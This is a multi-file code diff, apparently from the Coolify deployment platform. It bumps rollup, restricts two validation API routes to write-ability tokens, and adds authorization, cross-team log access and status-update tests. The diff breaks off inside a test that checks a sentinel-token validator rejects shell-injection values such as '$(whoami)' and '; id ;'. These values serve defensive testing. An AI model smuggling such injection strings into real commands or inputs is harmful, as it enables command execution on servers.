@ -666,9 +666,9 @@
]
},
"node_modules/@rollup/rollup-freebsd-x64": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz",
"integrity": "sha512-IEQTCHeiTOnAUC3IDQdzRAGj3jOAYNr9kBguI7MQAAZK3caezRrg0GxAb6Hchg4lxdZEI5Oq3iov/w/hnFWY9Q==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz",
"integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==",
"cpu": [
"x64"
],
@ -680,9 +680,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm-gnueabihf": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz",
"integrity": "sha512-F8sWbhZ7tyuEfsmOxwc2giKDQzN3+kuBLPwwZGyVkLlKGdV1nvnNwYD0fKQ8+XS6hp9nY7B+ZeK01EBUE7aHaw==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz",
"integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==",
"cpu": [
"arm"
],
@ -694,9 +694,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm-musleabihf": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz",
"integrity": "sha512-rGfNUfn0GIeXtBP1wL5MnzSj98+PZe/AXaGBCRmT0ts80lU5CATYGxXukeTX39XBKsxzFpEeK+Mrp9faXOlmrw==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz",
"integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==",
"cpu": [
"arm"
],
@ -708,9 +708,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm64-gnu": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz",
"integrity": "sha512-MMtej3YHWeg/0klK2Qodf3yrNzz6CGjo2UntLvk2RSPlhzgLvYEB3frRvbEF2wRKh1Z2fDIg9KRPe1fawv7C+g==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz",
"integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==",
"cpu": [
"arm64"
],
@ -722,9 +722,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm64-musl": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz",
"integrity": "sha512-1a/qhaaOXhqXGpMFMET9VqwZakkljWHLmZOX48R0I/YLbhdxr1m4gtG1Hq7++VhVUmf+L3sTAf9op4JlhQ5u1Q==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz",
"integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==",
"cpu": [
"arm64"
],
@ -736,9 +736,9 @@
]
},
"node_modules/@rollup/rollup-linux-loong64-gnu": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz",
"integrity": "sha512-QWO6RQTZ/cqYtJMtxhkRkidoNGXc7ERPbZN7dVW5SdURuLeVU7lwKMpo18XdcmpWYd0qsP1bwKPf7DNSUinhvA==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz",
"integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==",
"cpu": [
"loong64"
],
@ -750,9 +750,9 @@
]
},
"node_modules/@rollup/rollup-linux-loong64-musl": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz",
"integrity": "sha512-xpObYIf+8gprgWaPP32xiN5RVTi/s5FCR+XMXSKmhfoJjrpRAjCuuqQXyxUa/eJTdAE6eJ+KDKaoEqjZQxh3Gw==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz",
"integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==",
"cpu": [
"loong64"
],
@ -764,9 +764,9 @@
]
},
"node_modules/@rollup/rollup-linux-ppc64-gnu": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz",
"integrity": "sha512-4BrCgrpZo4hvzMDKRqEaW1zeecScDCR+2nZ86ATLhAoJ5FQ+lbHVD3ttKe74/c7tNT9c6F2viwB3ufwp01Oh2w==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz",
"integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==",
"cpu": [
"ppc64"
],
@ -778,9 +778,9 @@
]
},
"node_modules/@rollup/rollup-linux-ppc64-musl": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz",
"integrity": "sha512-NOlUuzesGauESAyEYFSe3QTUguL+lvrN1HtwEEsU2rOwdUDeTMJdO5dUYl/2hKf9jWydJrO9OL/XSSf65R5+Xw==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz",
"integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==",
"cpu": [
"ppc64"
],
@ -792,9 +792,9 @@
]
},
"node_modules/@rollup/rollup-linux-riscv64-gnu": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz",
"integrity": "sha512-ptA88htVp0AwUUqhVghwDIKlvJMD/fmL/wrQj99PRHFRAG6Z5nbWoWG4o81Nt9FT+IuqUQi+L31ZKAFeJ5Is+A==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz",
"integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==",
"cpu": [
"riscv64"
],
@ -806,9 +806,9 @@
]
},
"node_modules/@rollup/rollup-linux-riscv64-musl": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz",
"integrity": "sha512-S51t7aMMTNdmAMPpBg7OOsTdn4tySRQvklmL3RpDRyknk87+Sp3xaumlatU+ppQ+5raY7sSTcC2beGgvhENfuw==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz",
"integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==",
"cpu": [
"riscv64"
],
@ -820,9 +820,9 @@
]
},
"node_modules/@rollup/rollup-linux-s390x-gnu": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz",
"integrity": "sha512-Bl00OFnVFkL82FHbEqy3k5CUCKH6OEJL54KCyx2oqsmZnFTR8IoNqBF+mjQVcRCT5sB6yOvK8A37LNm/kPJiZg==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz",
"integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==",
"cpu": [
"s390x"
],
@ -834,9 +834,9 @@
]
},
"node_modules/@rollup/rollup-linux-x64-gnu": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz",
"integrity": "sha512-ABca4ceT4N+Tv/GtotnWAeXZUZuM/9AQyCyKYyKnpk4yoA7QIAuBt6Hkgpw8kActYlew2mvckXkvx0FfoInnLg==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz",
"integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==",
"cpu": [
"x64"
],
@ -848,9 +848,9 @@
]
},
"node_modules/@rollup/rollup-linux-x64-musl": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz",
"integrity": "sha512-HFps0JeGtuOR2convgRRkHCekD7j+gdAuXM+/i6kGzQtFhlCtQkpwtNzkNj6QhCDp7DRJ7+qC/1Vg2jt5iSOFw==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz",
"integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==",
"cpu": [
"x64"
],
@ -862,9 +862,9 @@
]
},
"node_modules/@rollup/rollup-openbsd-x64": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz",
"integrity": "sha512-H+hXEv9gdVQuDTgnqD+SQffoWoc0Of59AStSzTEj/feWTBAnSfSD3+Dql1ZruJQxmykT/JVY0dE8Ka7z0DH1hw==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz",
"integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==",
"cpu": [
"x64"
],
@ -876,9 +876,9 @@
]
},
"node_modules/@rollup/rollup-openharmony-arm64": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz",
"integrity": "sha512-4wYoDpNg6o/oPximyc/NG+mYUejZrCU2q+2w6YZqrAs2UcNUChIZXjtafAiiZSUc7On8v5NyNj34Kzj/Ltk6dQ==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz",
"integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==",
"cpu": [
"arm64"
],
@ -890,9 +890,9 @@
]
},
"node_modules/@rollup/rollup-win32-arm64-msvc": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz",
"integrity": "sha512-O54mtsV/6LW3P8qdTcamQmuC990HDfR71lo44oZMZlXU4tzLrbvTii87Ni9opq60ds0YzuAlEr/GNwuNluZyMQ==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz",
"integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==",
"cpu": [
"arm64"
],
@ -904,9 +904,9 @@
]
},
"node_modules/@rollup/rollup-win32-ia32-msvc": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz",
"integrity": "sha512-P3dLS+IerxCT/7D2q2FYcRdWRl22dNbrbBEtxdWhXrfIMPP9lQhb5h4Du04mdl5Woq05jVCDPCMF7Ub0NAjIew==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz",
"integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==",
"cpu": [
"ia32"
],
@ -918,9 +918,9 @@
]
},
"node_modules/@rollup/rollup-win32-x64-gnu": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz",
"integrity": "sha512-VMBH2eOOaKGtIJYleXsi2B8CPVADrh+TyNxJ4mWPnKfLB/DBUmzW+5m1xUrcwWoMfSLagIRpjUFeW5CO5hyciQ==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz",
"integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==",
"cpu": [
"x64"
],
@ -932,9 +932,9 @@
]
},
"node_modules/@rollup/rollup-win32-x64-msvc": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz",
"integrity": "sha512-mxRFDdHIWRxg3UfIIAwCm6NzvxG0jDX/wBN6KsQFTvKFqqg9vTrWUE68qEjHt19A5wwx5X5aUi2zuZT7YR0jrA==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz",
"integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==",
"cpu": [
"x64"
],
@ -1188,6 +1188,66 @@
"node": ">=14.0.0"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/core": {
"version": "1.7.1",
"dev": true,
"inBundle": true,
"license": "MIT",
"optional": true,
"dependencies": {
"@emnapi/wasi-threads": "1.1.0",
"tslib": "^2.4.0"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/runtime": {
"version": "1.7.1",
"dev": true,
"inBundle": true,
"license": "MIT",
"optional": true,
"dependencies": {
"tslib": "^2.4.0"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": {
"version": "1.1.0",
"dev": true,
"inBundle": true,
"license": "MIT",
"optional": true,
"dependencies": {
"tslib": "^2.4.0"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": {
"version": "1.1.0",
"dev": true,
"inBundle": true,
"license": "MIT",
"optional": true,
"dependencies": {
"@emnapi/core": "^1.7.1",
"@emnapi/runtime": "^1.7.1",
"@tybys/wasm-util": "^0.10.1"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": {
"version": "0.10.1",
"dev": true,
"inBundle": true,
"license": "MIT",
"optional": true,
"dependencies": {
"tslib": "^2.4.0"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": {
"version": "2.8.1",
"dev": true,
"inBundle": true,
"license": "0BSD",
"optional": true
},
"node_modules/@tailwindcss/oxide-win32-arm64-msvc": {
"version": "4.1.18",
"resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.18.tgz",
@ -2490,9 +2550,9 @@
}
},
"node_modules/rollup": {
"version": "4.57.1",
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.57.1.tgz",
"integrity": "sha512-oQL6lgK3e2QZeQ7gcgIkS2YZPg5slw37hYufJ3edKlfQSGGm8ICoxswK15ntSzF/a8+h7ekRy7k7oWc3BQ7y8A==",
"version": "4.59.0",
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz",
"integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==",
"dev": true,
"license": "MIT",
"dependencies": {
@ -2506,31 +2566,31 @@
"npm": ">=8.0.0"
},
"optionalDependencies": {
"@rollup/rollup-android-arm-eabi": "4.57.1",
"@rollup/rollup-android-arm64": "4.57.1",
"@rollup/rollup-darwin-arm64": "4.57.1",
"@rollup/rollup-darwin-x64": "4.57.1",
"@rollup/rollup-freebsd-arm64": "4.57.1",
"@rollup/rollup-freebsd-x64": "4.57.1",
"@rollup/rollup-linux-arm-gnueabihf": "4.57.1",
"@rollup/rollup-linux-arm-musleabihf": "4.57.1",
"@rollup/rollup-linux-arm64-gnu": "4.57.1",
"@rollup/rollup-linux-arm64-musl": "4.57.1",
"@rollup/rollup-linux-loong64-gnu": "4.57.1",
"@rollup/rollup-linux-loong64-musl": "4.57.1",
"@rollup/rollup-linux-ppc64-gnu": "4.57.1",
"@rollup/rollup-linux-ppc64-musl": "4.57.1",
"@rollup/rollup-linux-riscv64-gnu": "4.57.1",
"@rollup/rollup-linux-riscv64-musl": "4.57.1",
"@rollup/rollup-linux-s390x-gnu": "4.57.1",
"@rollup/rollup-linux-x64-gnu": "4.57.1",
"@rollup/rollup-linux-x64-musl": "4.57.1",
"@rollup/rollup-openbsd-x64": "4.57.1",
"@rollup/rollup-openharmony-arm64": "4.57.1",
"@rollup/rollup-win32-arm64-msvc": "4.57.1",
"@rollup/rollup-win32-ia32-msvc": "4.57.1",
"@rollup/rollup-win32-x64-gnu": "4.57.1",
"@rollup/rollup-win32-x64-msvc": "4.57.1",
"@rollup/rollup-android-arm-eabi": "4.59.0",
"@rollup/rollup-android-arm64": "4.59.0",
"@rollup/rollup-darwin-arm64": "4.59.0",
"@rollup/rollup-darwin-x64": "4.59.0",
"@rollup/rollup-freebsd-arm64": "4.59.0",
"@rollup/rollup-freebsd-x64": "4.59.0",
"@rollup/rollup-linux-arm-gnueabihf": "4.59.0",
"@rollup/rollup-linux-arm-musleabihf": "4.59.0",
"@rollup/rollup-linux-arm64-gnu": "4.59.0",
"@rollup/rollup-linux-arm64-musl": "4.59.0",
"@rollup/rollup-linux-loong64-gnu": "4.59.0",
"@rollup/rollup-linux-loong64-musl": "4.59.0",
"@rollup/rollup-linux-ppc64-gnu": "4.59.0",
"@rollup/rollup-linux-ppc64-musl": "4.59.0",
"@rollup/rollup-linux-riscv64-gnu": "4.59.0",
"@rollup/rollup-linux-riscv64-musl": "4.59.0",
"@rollup/rollup-linux-s390x-gnu": "4.59.0",
"@rollup/rollup-linux-x64-gnu": "4.59.0",
"@rollup/rollup-linux-x64-musl": "4.59.0",
"@rollup/rollup-openbsd-x64": "4.59.0",
"@rollup/rollup-openharmony-arm64": "4.59.0",
"@rollup/rollup-win32-arm64-msvc": "4.59.0",
"@rollup/rollup-win32-ia32-msvc": "4.59.0",
"@rollup/rollup-win32-x64-gnu": "4.59.0",
"@rollup/rollup-win32-x64-msvc": "4.59.0",
"fsevents": "~2.3.2"
}
},

View file

@ -94,7 +94,7 @@
}
if (this.dispatchAction) {
$wire.dispatch(this.submitAction);
return true;
return Promise.resolve(true);
}
const methodName = this.submitAction.split('(')[0];

View file

@ -71,7 +71,7 @@
Route::get('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'show'])->middleware(['api.ability:read']);
Route::patch('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'update'])->middleware(['api.ability:write']);
Route::delete('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'destroy'])->middleware(['api.ability:write']);
Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:read']);
Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:write']);
Route::match(['get', 'post'], '/deploy', [DeployController::class, 'deploy'])->middleware(['api.ability:deploy']);
Route::get('/deployments', [DeployController::class, 'deployments'])->middleware(['api.ability:read']);
@ -84,7 +84,7 @@
Route::get('/servers/{uuid}/domains', [ServersController::class, 'domains_by_server'])->middleware(['api.ability:read']);
Route::get('/servers/{uuid}/resources', [ServersController::class, 'resources_by_server'])->middleware(['api.ability:read']);
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']);
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:write']);
Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']);
Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']);

View file

@ -73,3 +73,28 @@
$response->assertStatus(403);
});
});
describe('GET /api/v1/servers/{uuid}/validate', function () {
test('read-only token cannot trigger server validation', function () {
$token = $this->user->createToken('read-only', ['read']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
])->getJson('/api/v1/servers/fake-uuid/validate');
$response->assertStatus(403);
});
});
describe('POST /api/v1/cloud-tokens/{uuid}/validate', function () {
test('read-only token cannot validate cloud provider token', function () {
$token = $this->user->createToken('read-only', ['read']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/cloud-tokens/fake-uuid/validate');
$response->assertStatus(403);
});
});

View file

@ -0,0 +1,97 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
beforeEach(function () {
// Attacker: Team A
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
// Victim: Team B
$this->teamB = Team::factory()->create();
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
$this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
$this->victimApplication = Application::factory()->create([
'environment_id' => $this->environmentB->id,
'destination_id' => $this->destinationB->id,
'destination_type' => $this->destinationB->getMorphClass(),
]);
$this->victimService = Service::factory()->create([
'environment_id' => $this->environmentB->id,
'destination_id' => $this->destinationB->id,
'destination_type' => StandaloneDocker::class,
]);
// Act as attacker
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
test('cannot access logs of application from another team', function () {
$response = $this->get(route('project.application.logs', [
'project_uuid' => $this->projectA->uuid,
'environment_uuid' => $this->environmentA->uuid,
'application_uuid' => $this->victimApplication->uuid,
]));
$response->assertStatus(404);
});
test('cannot access logs of service from another team', function () {
$response = $this->get(route('project.service.logs', [
'project_uuid' => $this->projectA->uuid,
'environment_uuid' => $this->environmentA->uuid,
'service_uuid' => $this->victimService->uuid,
]));
$response->assertStatus(404);
});
test('can access logs of own application', function () {
$ownApplication = Application::factory()->create([
'environment_id' => $this->environmentA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => $this->destinationA->getMorphClass(),
]);
$response = $this->get(route('project.application.logs', [
'project_uuid' => $this->projectA->uuid,
'environment_uuid' => $this->environmentA->uuid,
'application_uuid' => $ownApplication->uuid,
]));
$response->assertStatus(200);
});
test('can access logs of own service', function () {
$ownService = Service::factory()->create([
'environment_id' => $this->environmentA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => StandaloneDocker::class,
]);
$response = $this->get(route('project.service.logs', [
'project_uuid' => $this->projectA->uuid,
'environment_uuid' => $this->environmentA->uuid,
'service_uuid' => $ownService->uuid,
]));
$response->assertStatus(200);
});

View file

@ -0,0 +1,101 @@
<?php
use App\Jobs\PushServerUpdateJob;
use App\Models\Server;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
test('database last_online_at is updated when status unchanged', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
'status' => 'running:healthy',
'last_online_at' => now()->subMinutes(5),
]);
$server = $database->destination->server;
$data = [
'containers' => [
[
'name' => $database->uuid,
'state' => 'running',
'health_status' => 'healthy',
'labels' => [
'coolify.managed' => 'true',
'coolify.type' => 'database',
'com.docker.compose.service' => $database->uuid,
],
],
],
];
$oldLastOnline = $database->last_online_at;
$job = new PushServerUpdateJob($server, $data);
$job->handle();
$database->refresh();
// last_online_at should be updated even though status didn't change
expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue();
expect($database->status)->toBe('running:healthy');
});
test('database status is updated when container status changes', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
'status' => 'exited',
]);
$server = $database->destination->server;
$data = [
'containers' => [
[
'name' => $database->uuid,
'state' => 'running',
'health_status' => 'healthy',
'labels' => [
'coolify.managed' => 'true',
'coolify.type' => 'database',
'com.docker.compose.service' => $database->uuid,
],
],
],
];
$job = new PushServerUpdateJob($server, $data);
$job->handle();
$database->refresh();
expect($database->status)->toBe('running:healthy');
});
test('database is not marked exited when containers list is empty', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
'status' => 'running:healthy',
]);
$server = $database->destination->server;
// Empty containers = Sentinel might have failed, should NOT mark as exited
$data = [
'containers' => [],
];
$job = new PushServerUpdateJob($server, $data);
$job->handle();
$database->refresh();
// Status should remain running, NOT be set to exited
expect($database->status)->toBe('running:healthy');
});

View file

@ -0,0 +1,95 @@
<?php
use App\Models\Server;
use App\Models\ServerSetting;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$user = User::factory()->create();
$this->team = $user->teams()->first();
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
]);
});
describe('ServerSetting::isValidSentinelToken', function () {
it('accepts alphanumeric tokens', function () {
expect(ServerSetting::isValidSentinelToken('abc123'))->toBeTrue();
});
it('accepts tokens with dots, hyphens, and underscores', function () {
expect(ServerSetting::isValidSentinelToken('my-token_v2.0'))->toBeTrue();
});
it('accepts long base64-like encrypted tokens', function () {
$token = 'eyJpdiI6IjRGN0V4YnRkZ1p0UXdBPT0iLCJ2YWx1ZSI6IjZqQT0iLCJtYWMiOiIxMjM0NTY3ODkwIn0';
expect(ServerSetting::isValidSentinelToken($token))->toBeTrue();
});
it('accepts tokens with base64 characters (+, /, =)', function () {
expect(ServerSetting::isValidSentinelToken('abc+def/ghi='))->toBeTrue();
});
it('rejects tokens with double quotes', function () {
expect(ServerSetting::isValidSentinelToken('abc" ; id ; echo "'))->toBeFalse();
});
it('rejects tokens with single quotes', function () {
expect(ServerSetting::isValidSentinelToken("abc' ; id ; echo '"))->toBeFalse();
});
it('rejects tokens with semicolons', function () {
expect(ServerSetting::isValidSentinelToken('abc;id'))->toBeFalse();
});
it('rejects tokens with backticks', function () {
expect(ServerSetting::isValidSentinelToken('abc`id`'))->toBeFalse();
});
it('rejects tokens with dollar sign command substitution', function () {
expect(ServerSetting::isValidSentinelToken('abc$(whoami)'))->toBeFalse();
});
it('rejects tokens with spaces', function () {
